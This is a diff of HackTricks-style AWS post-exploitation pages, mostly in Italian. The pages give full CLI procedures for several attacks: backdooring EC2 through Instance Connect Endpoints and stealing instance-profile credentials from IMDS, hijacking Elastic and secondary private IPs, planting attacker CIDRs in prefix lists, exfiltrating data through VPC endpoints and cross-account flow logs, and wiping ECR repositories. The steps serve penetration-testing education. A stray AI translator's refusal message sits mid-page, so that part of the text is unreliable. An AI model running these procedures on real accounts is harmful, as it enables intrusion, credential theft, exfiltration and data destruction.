<summary>Guida: trovare il percorso del dispositivo NVMe tramite Volume ID</summary>
|
||||
|
||||
Sulle istanze Nitro, usa il percorso by-id stabile che incorpora l'ID del volume (rimuovi il trattino dopo `vol`):
|
||||
</details>
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
|
||||
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impatto
|
||||
- Accesso immediato in lettura ai dati live sul volume EBS di destinazione senza generare snapshots.
|
||||
- Se montato in read-write, l'attaccante può manomettere il filesystem della vittima (rischio di corruzione).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,113 @@
|
||||
# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse EC2 Instance Connect Endpoint (EIC Endpoint) to gain inbound SSH access to private EC2 instances (no public IP/bastion) by:
|
||||
- Creare un EIC Endpoint all'interno della subnet target
|
||||
- Consentire SSH in ingresso sul target SG dallo SG dell'EIC Endpoint
|
||||
- Iniettare una chiave pubblica SSH di breve durata (valida ~60 secondi) con `ec2-instance-connect:SendSSHPublicKey`
|
||||
- Aprire un tunnel EIC e pivotare verso l'istanza per rubare le credenziali dell'instance profile da IMDS
|
||||
|
||||
Impatto: percorso di accesso remoto furtivo verso istanze EC2 private che bypassa bastions e le restrizioni sugli IP pubblici. L'attaccante può assumere l'instance profile e operare nell'account.
|
||||
|
||||
## Requisiti
|
||||
- Permessi per:
|
||||
- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
|
||||
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
|
||||
- Istanza Linux target con server SSH e EC2 Instance Connect abilitato (Amazon Linux 2 o Ubuntu 20.04+). Utenti di default: `ec2-user` (AL2) o `ubuntu` (Ubuntu).
|
||||
|
||||
## Variabili
|
||||
```bash
|
||||
export REGION=us-east-1
|
||||
export INSTANCE_ID=<i-xxxxxxxxxxxx>
|
||||
export SUBNET_ID=<subnet-xxxxxxxx>
|
||||
export VPC_ID=<vpc-xxxxxxxx>
|
||||
export TARGET_SG_ID=<sg-of-target-instance>
|
||||
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
|
||||
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
|
||||
export OS_USER=ec2-user
|
||||
```
|
||||
## Crea endpoint EIC
|
||||
```bash
|
||||
aws ec2 create-instance-connect-endpoint \
|
||||
--subnet-id "$SUBNET_ID" \
|
||||
--security-group-ids "$ENDPOINT_SG_ID" \
|
||||
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
|
||||
--region "$REGION" \
|
||||
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
|
||||
|
||||
# Wait until ready
|
||||
while true; do
|
||||
aws ec2 describe-instance-connect-endpoints \
|
||||
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
|
||||
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
|
||||
grep -q 'create-complete' EIC_STATE && break
|
||||
sleep 5
|
||||
done
|
||||
```
|
||||
## Consentire il traffico dall'EIC Endpoint all'istanza target
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
```
|
||||
## Iniettare una SSH key effimera e aprire un tunnel
|
||||
```bash
|
||||
# Generate throwaway key
|
||||
ssh-keygen -t ed25519 -f /tmp/eic -N ''
|
||||
|
||||
# Send short-lived SSH pubkey (valid ~60s)
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "$OS_USER" \
|
||||
--ssh-public-key file:///tmp/eic.pub \
|
||||
--region "$REGION"
|
||||
|
||||
# Open a local tunnel to instance:22 via the EIC Endpoint
|
||||
aws ec2-instance-connect open-tunnel \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" \
|
||||
--local-port 2222 --remote-port 22 --region "$REGION" &
|
||||
TUN_PID=$!; sleep 2
|
||||
|
||||
# SSH via the tunnel (within the 60s window)
|
||||
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
|
||||
```
|
||||
## Prova di Post-exploitation (steal instance profile credentials)
|
||||
```bash
|
||||
# From the shell inside the instance
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
|
||||
```
|
||||
I don’t have the contents of that file. Please paste the Markdown/HTML text from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md that you want translated, and I’ll return the Italian translation preserving all tags, code, links and paths exactly as requested.
|
||||
```json
|
||||
{
|
||||
"Code": "Success",
|
||||
"AccessKeyId": "ASIA...",
|
||||
"SecretAccessKey": "w0G...",
|
||||
"Token": "IQoJ...",
|
||||
"Expiration": "2025-10-08T04:09:52Z"
|
||||
}
|
||||
```
|
||||
Usa le creds rubate localmente per verificare l'identità:
|
||||
```bash
|
||||
export AWS_ACCESS_KEY_ID=<AccessKeyId>
|
||||
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
|
||||
export AWS_SESSION_TOKEN=<Token>
|
||||
aws sts get-caller-identity --region "$REGION"
|
||||
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
|
||||
```
|
||||
## Pulizia
|
||||
```bash
|
||||
# Revoke SG ingress on the target
|
||||
aws ec2 revoke-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
|
||||
# Delete EIC Endpoint
|
||||
aws ec2 delete-instance-connect-endpoint \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
|
||||
```
|
||||
> Note
|
||||
> - La chiave SSH iniettata è valida solo per ~60 secondi; invia la chiave immediatamente prima di aprire il tunnel/SSH.
|
||||
> - `OS_USER` deve corrispondere all'AMI (ad es., `ubuntu` per Ubuntu, `ec2-user` per Amazon Linux 2).
|
||||
@@ -0,0 +1,52 @@
|
||||
# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sommario
|
||||
|
||||
Abusa di `ec2:AssociateAddress` (e opzionalmente di `ec2:DisassociateAddress`) per riassegnare un Elastic IP (EIP) da un'istanza/ENI vittima a un'istanza/ENI dell'attaccante. Questo reindirizza il traffico in ingresso destinato all'EIP verso l'attaccante e permette anche all'attaccante di generare traffico in uscita con l'IP pubblico allowlisted per eludere i firewall dei partner esterni.
|
||||
|
||||
## Prerequisiti
|
||||
- ID di allocazione (allocation ID) dell'EIP target nello stesso account/VPC.
|
||||
- Istanza/ENI dell'attaccante che controlli.
|
||||
- Permessi:
|
||||
- `ec2:DescribeAddresses`
|
||||
- `ec2:AssociateAddress` sull'EIP allocation-id e sull'istanza/ENI dell'attaccante
|
||||
- `ec2:DisassociateAddress` (opzionale). Nota: `--allow-reassociation` dissocia automaticamente dall'allegato precedente.
|
||||
|
||||
## Attacco
|
||||
|
||||
Variabili
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ATTACKER_INSTANCE=<i-attacker>
|
||||
VICTIM_INSTANCE=<i-victim>
|
||||
```
|
||||
1) Assegnare o identificare l'EIP della vittima (il lab ne assegna uno nuovo e lo associa alla vittima)
|
||||
```bash
|
||||
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
|
||||
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
|
||||
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
|
||||
```
|
||||
2) Verificare che l'EIP risolva attualmente al servizio della vittima (ad esempio controllando un banner)
|
||||
```bash
|
||||
curl -sS http://$EIP | grep -i victim
|
||||
```
|
||||
3) Riassegnare l'EIP all'attaccante (si disassocia automaticamente dalla vittima)
|
||||
```bash
|
||||
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
|
||||
```
|
||||
4) Verifica che l'EIP ora risolva verso l'attacker service
|
||||
```bash
|
||||
sleep 5; curl -sS http://$EIP | grep -i attacker
|
||||
```
|
||||
Evidenza (associazione spostata):
|
||||
```bash
|
||||
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
|
||||
--query Addresses[0].AssociationId --output text
|
||||
```
|
||||
## Impatto
|
||||
- Inbound impersonation: Tutto il traffico diretto all'hijacked EIP viene recapitato all'istanza/ENI dell'attacker.
|
||||
- Outbound impersonation: Attacker può iniziare traffico che sembra provenire dall'allowlisted public IP (utile per bypassare i filtri IP di partner/sorgenti esterne).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,50 @@
|
||||
# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Sfrutta `ec2:UnassignPrivateIpAddresses` e `ec2:AssignPrivateIpAddresses` per rubare l'indirizzo IP privato secondario di un'ENI vittima e spostarlo su un'ENI dell'attaccante nello stesso subnet/AZ. Molti servizi interni e security group limitano l'accesso in base a specifici indirizzi IP privati. Spostando quell'indirizzo secondario, l'attaccante si finge l'host di fiducia a livello L3 e può raggiungere i servizi in allowlist.
|
||||
|
||||
Prerequisiti:
|
||||
- Permessi: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` sull'ARN dell'ENI vittima, e `ec2:AssignPrivateIpAddresses` sull'ARN dell'ENI dell'attaccante.
|
||||
- Entrambi gli ENI devono trovarsi nella stessa subnet/AZ. L'indirizzo target deve essere un IP secondario (il primario non può essere rimosso).
|
||||
|
||||
Variabili:
|
||||
- REGION=us-east-1
|
||||
- VICTIM_ENI=<eni-xxxxxxxx>
|
||||
- ATTACKER_ENI=<eni-yyyyyyyy>
|
||||
- PROTECTED_SG=<sg-protected> # SG on a target service that allows only $HIJACK_IP
|
||||
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
|
||||
|
||||
Passaggi:
|
||||
1) Scegli un indirizzo IP secondario dall'ENI vittima
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
|
||||
export HIJACK_IP=$(cat HIJACK_IP)
|
||||
```
|
||||
2) Assicurati che l'host protetto permetta solo quell'IP (idempotent). Se usi SG-to-SG rules invece, salta.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
|
||||
```
|
||||
3) Linea di base: dalla attacker instance, la richiesta a PROTECTED_HOST dovrebbe fallire senza spoofed source (es., tramite SSM/SSH)
|
||||
```bash
|
||||
curl -sS --max-time 3 http://$PROTECTED_HOST || true
|
||||
```
|
||||
4) Rimuovere l'IP secondario dall'ENI della vittima
|
||||
```bash
|
||||
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
5) Assegna lo stesso IP all'ENI dell'attacker (su AWS CLI v1 aggiungi `--allow-reassignment`)
|
||||
```bash
|
||||
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
6) Verificare che la proprietà sia stata trasferita
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
|
||||
```
|
||||
7) Dalla attacker instance, source-bind all'hijacked IP per raggiungere l'host protetto (assicurati che l'IP sia configurato sul sistema operativo; in caso contrario, aggiungilo con `ip addr add $HIJACK_IP/<mask> dev eth0`)
|
||||
```bash
|
||||
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
|
||||
```
|
||||
## Impact
|
||||
- Bypass IP allowlists e impersonate trusted hosts all'interno della VPC spostando secondary private IPs tra ENIs nella stessa subnet/AZ.
|
||||
- Raggiungere servizi interni che limitano l'accesso in base a specifiche source IPs, permettendo lateral movement e data access.
|
||||
@@ -0,0 +1,72 @@
|
||||
# AWS - Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sommario
|
||||
Abusa delle Prefix Lists gestite dal cliente per creare un percorso di accesso furtivo. Se una regola di security group (SG) fa riferimento a una managed Prefix List, chiunque abbia la capacità di modificare quella lista può aggiungere silenziosamente CIDRs controllati dall'attaccante. Ogni SG (e potenzialmente Network ACL o VPC endpoint) che fa riferimento alla lista consente immediatamente i nuovi range senza alcuna modifica visibile allo SG.
|
||||
|
||||
## Impatto
|
||||
- Espansione istantanea degli intervalli IP consentiti per tutti gli SG che fanno riferimento alla prefix list, bypassando i controlli di modifica che monitorano solo le modifiche agli SG.
|
||||
- Abilita backdoor persistenti ingress/egress: mantenere il CIDR malevolo nascosto nella prefix list mentre la regola SG appare invariata.
|
||||
|
||||
## Requisiti
|
||||
- Permessi IAM:
|
||||
- `ec2:DescribeManagedPrefixLists`
|
||||
- `ec2:GetManagedPrefixListEntries`
|
||||
- `ec2:ModifyManagedPrefixList`
|
||||
- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (per identificare gli SG collegati)
|
||||
- Opzionale: `ec2:CreateManagedPrefixList` se si crea una nuova per il testing.
|
||||
- Ambiente: almeno una regola SG che faccia riferimento alla Prefix List gestita dal cliente di destinazione.
|
||||
|
||||
## Variabili
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
PREFIX_LIST_ID=<pl-xxxxxxxx>
|
||||
ENTRY_CIDR=<attacker-cidr/32>
|
||||
DESCRIPTION="Backdoor – allow attacker"
|
||||
```
|
||||
## Passaggi dell'attacco
|
||||
|
||||
1) **Enumerare candidate prefix lists e consumers**
|
||||
```bash
|
||||
aws ec2 describe-managed-prefix-lists \
|
||||
--region "$REGION" \
|
||||
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
|
||||
--output table
|
||||
|
||||
aws ec2 get-managed-prefix-list-entries \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--region "$REGION" \
|
||||
--query 'Entries[*].[Cidr,Description]'
|
||||
```
|
||||
Usa `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` per confermare quali regole SG fanno riferimento alla lista.
|
||||
|
||||
2) **Aggiungi il CIDR dell'attaccante alla prefix list**
|
||||
```bash
|
||||
aws ec2 modify-managed-prefix-list \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
|
||||
--region "$REGION"
|
||||
```
|
||||
3) **Verificare la propagazione ai gruppi di sicurezza**
|
||||
```bash
|
||||
aws ec2 describe-security-group-rules \
|
||||
--region "$REGION" \
|
||||
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
|
||||
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
|
||||
--output table
|
||||
```
|
||||
Il traffico da `$ENTRY_CIDR` è ora consentito ovunque venga fatto riferimento alla prefix list (comunemente regole outbound su proxy di uscita o regole inbound su servizi condivisi).
|
||||
|
||||
## Evidence
|
||||
- `get-managed-prefix-list-entries` riflette il CIDR dell'attaccante e la descrizione.
|
||||
- `describe-security-group-rules` mostra ancora la regola SG originale che fa riferimento alla prefix list (nessuna modifica della SG registrata), eppure il traffico dal nuovo CIDR ha successo.
|
||||
|
||||
## Cleanup
|
||||
```bash
|
||||
aws ec2 modify-managed-prefix-list \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--remove-entries Cidr="$ENTRY_CIDR" \
|
||||
--region "$REGION"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,68 @@
|
||||
# AWS – Bypass dell'egress dalle subnet isolate tramite VPC Endpoints
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Riepilogo
|
||||
|
||||
Questa tecnica sfrutta i VPC Endpoints per creare canali di esfiltrazione da subnet senza Internet Gateways o NAT. I Gateway endpoints (e.g., S3) aggiungono route di prefix‑list nelle route table delle subnet; gli Interface endpoints (e.g., execute-api, secretsmanager, ssm, etc.) creano ENI raggiungibili con IP privati protetti da security group. Con permessi minimi su VPC/EC2, un attaccante può abilitare un egress controllato che non attraversa l'Internet pubblica.
|
||||
|
||||
> Prerequisiti: VPC esistente e subnet private (no IGW/NAT). Ti serviranno permessi per creare VPC endpoints e, per l'Opzione B, uno security group da associare alle ENI dell'endpoint.
|
||||
|
||||
## Opzione A – S3 Gateway VPC Endpoint
|
||||
|
||||
**Variabili**
|
||||
- `REGION=us-east-1`
|
||||
- `VPC_ID=<target vpc>`
|
||||
- `RTB_IDS=<comma-separated route table IDs of private subnets>`
|
||||
|
||||
1) Crea un file di policy permissiva per l'endpoint (opzionale). Salva come `allow-put-get-any-s3.json`:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
|
||||
}
|
||||
```
|
||||
2) Crea l'endpoint S3 Gateway (aggiunge S3 prefix‑list route alle tabelle di route selezionate):
|
||||
```bash
|
||||
aws ec2 create-vpc-endpoint \
|
||||
--vpc-id $VPC_ID \
|
||||
--service-name com.amazonaws.$REGION.s3 \
|
||||
--vpc-endpoint-type Gateway \
|
||||
--route-table-ids $RTB_IDS \
|
||||
--policy-document file://allow-put-get-any-s3.json # optional
|
||||
```
|
||||
Evidenze da raccogliere:
|
||||
- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` mostra una route verso la prefix list S3 di AWS (es., `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
|
||||
- Da un'istanza in quelle subnets (con IAM perms) puoi exfil via S3 senza Internet:
|
||||
```bash
|
||||
# On the isolated instance (e.g., via SSM):
|
||||
echo data > /tmp/x.txt
|
||||
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
|
||||
```
|
||||
## Opzione B – Interface VPC Endpoint for API Gateway (execute-api)
|
||||
|
||||
**Variabili**
|
||||
- `REGION=us-east-1`
|
||||
- `VPC_ID=<target vpc>`
|
||||
- `SUBNET_IDS=<comma-separated private subnets>`
|
||||
- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
|
||||
|
||||
1) Crea l'interface endpoint e associa il SG:
|
||||
```bash
|
||||
aws ec2 create-vpc-endpoint \
|
||||
--vpc-id $VPC_ID \
|
||||
--service-name com.amazonaws.$REGION.execute-api \
|
||||
--vpc-endpoint-type Interface \
|
||||
--subnet-ids $SUBNET_IDS \
|
||||
--security-group-ids $SG_VPCE \
|
||||
--private-dns-enabled
|
||||
```
|
||||
Evidenze da raccogliere:
|
||||
- `aws ec2 describe-vpc-endpoints` mostra l'endpoint in stato `available` con `NetworkInterfaceIds` (ENIs nelle tue subnet).
|
||||
- Le istanze in quelle subnet possono raggiungere endpoint Private API Gateway attraverso quei VPCE ENIs (nessun percorso Internet richiesto).
|
||||
|
||||
## Impatto
|
||||
- Elude i controlli di egress perimetrali sfruttando percorsi privati gestiti da AWS verso i servizi AWS.
|
||||
- Consente l'exfiltrazione di dati da subnet isolate (ad es., scrittura su S3; chiamate a Private API Gateway; accesso a Secrets Manager/SSM/STS, ecc.) senza IGW/NAT.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,74 @@
|
||||
# AWS - VPC Flow Logs Cross-Account Exfiltration to S3
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Riassunto
|
||||
Abusa di `ec2:CreateFlowLogs` per esportare i flow log della VPC, del subnet o dell'ENI direttamente in un bucket S3 controllato dall'attaccante. Una volta che il delivery role è configurato per scrivere nel bucket esterno, ogni connessione vista nella risorsa monitorata viene trasmessa fuori dall'account vittima.
|
||||
|
||||
## Requisiti
|
||||
- Principal vittima: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, e `iam:PassRole` (se è richiesto/creato un delivery role).
|
||||
- Bucket dell'attaccante: policy S3 che autorizza `delivery.logs.amazonaws.com` con `s3:PutObject` e `bucket-owner-full-control`.
|
||||
- Opzionale: `logs:DescribeLogGroups` se si esporta verso CloudWatch invece che verso S3 (non necessario qui).
|
||||
|
||||
## Procedura dell'attacco
|
||||
|
||||
1) **Attacker** prepara una policy per il bucket S3 (nell'account dell'attaccante) che permette al VPC Flow Logs delivery service di scrivere oggetti. Sostituire i placeholder prima di applicare:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowVPCFlowLogsDelivery",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "delivery.logs.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
|
||||
"Condition": {
|
||||
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Applica dall'account dell'attaccante:
|
||||
```bash
|
||||
aws s3api put-bucket-policy \
|
||||
--bucket <attacker-bucket> \
|
||||
--policy file://flowlogs-policy.json
|
||||
```
|
||||
2) **Victim** (compromised principal) crea i flow logs che puntano all'attacker bucket:
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
VPC_ID=<vpc-xxxxxxxx>
|
||||
ROLE_ARN=<delivery-role-with-logs-permissions> # Must allow delivery.logs.amazonaws.com to assume it
|
||||
aws ec2 create-flow-logs \
|
||||
--resource-type VPC \
|
||||
--resource-ids "$VPC_ID" \
|
||||
--traffic-type ALL \
|
||||
--log-destination-type s3 \
|
||||
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
|
||||
--deliver-logs-permission-arn "$ROLE_ARN" \
|
||||
--region "$REGION"
|
||||
```
|
||||
Nel giro di pochi minuti, i flow log files compaiono nell'attacker bucket contenenti connessioni per tutte le ENIs nella VPC/subnet monitorata.
|
||||
|
||||
## Evidenza
|
||||
|
||||
Esempi di record di flow log scritti nell'attacker bucket:
|
||||
```text
|
||||
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
|
||||
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
|
||||
```
|
||||
Prova di Bucket listing:
|
||||
```bash
|
||||
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
|
||||
```
|
||||
## Impatto
|
||||
- Esfiltrazione continua dei metadata di rete (source/destination IPs, ports, protocols) per la VPC/subnet/ENI monitorata.
|
||||
- Consente l'analisi del traffico, l'identificazione di servizi sensibili e l'eventuale ricerca di misconfigurazioni dei security group dall'esterno dell'account della vittima.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,92 +0,0 @@
|
||||
# AWS - ECR Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Per ulteriori informazioni controlla
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Login, Pull & Push
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
|
||||
## For private repo
|
||||
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
|
||||
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
|
||||
|
||||
# Download
|
||||
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
|
||||
## If you still have the error "Requested image not found"
|
||||
## It might be because the tag "latest" doesn't exit
|
||||
## Get valid tags with:
|
||||
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
|
||||
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
|
||||
|
||||
# Inspect the image
|
||||
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
|
||||
|
||||
# Upload (example uploading purplepanda with tag latest)
|
||||
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
|
||||
# Downloading without Docker
|
||||
# List digests
|
||||
aws ecr batch-get-image --repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
|
||||
## Download a digest
|
||||
aws ecr get-download-url-for-layer \
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Dopo aver scaricato le immagini, dovresti **controllarle per informazioni sensibili**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Un attaccante con uno di questi permessi può **creare o modificare una politica di ciclo di vita per eliminare tutte le immagini nel repository** e poi **eliminare l'intero repository ECR**. Questo comporterebbe la perdita di tutte le immagini dei container memorizzate nel repository.
|
||||
```bash
|
||||
bashCopy code# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
}' > malicious_policy.json
|
||||
|
||||
# Apply the malicious lifecycle policy to the ECR repository
|
||||
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
|
||||
|
||||
# Delete the ECR repository
|
||||
aws ecr delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete the ECR public repository
|
||||
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete multiple images from the ECR repository
|
||||
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,210 @@
|
||||
# AWS - ECR Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Per maggiori informazioni consulta
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Login, Pull & Push
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
|
||||
## For private repo
|
||||
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
|
||||
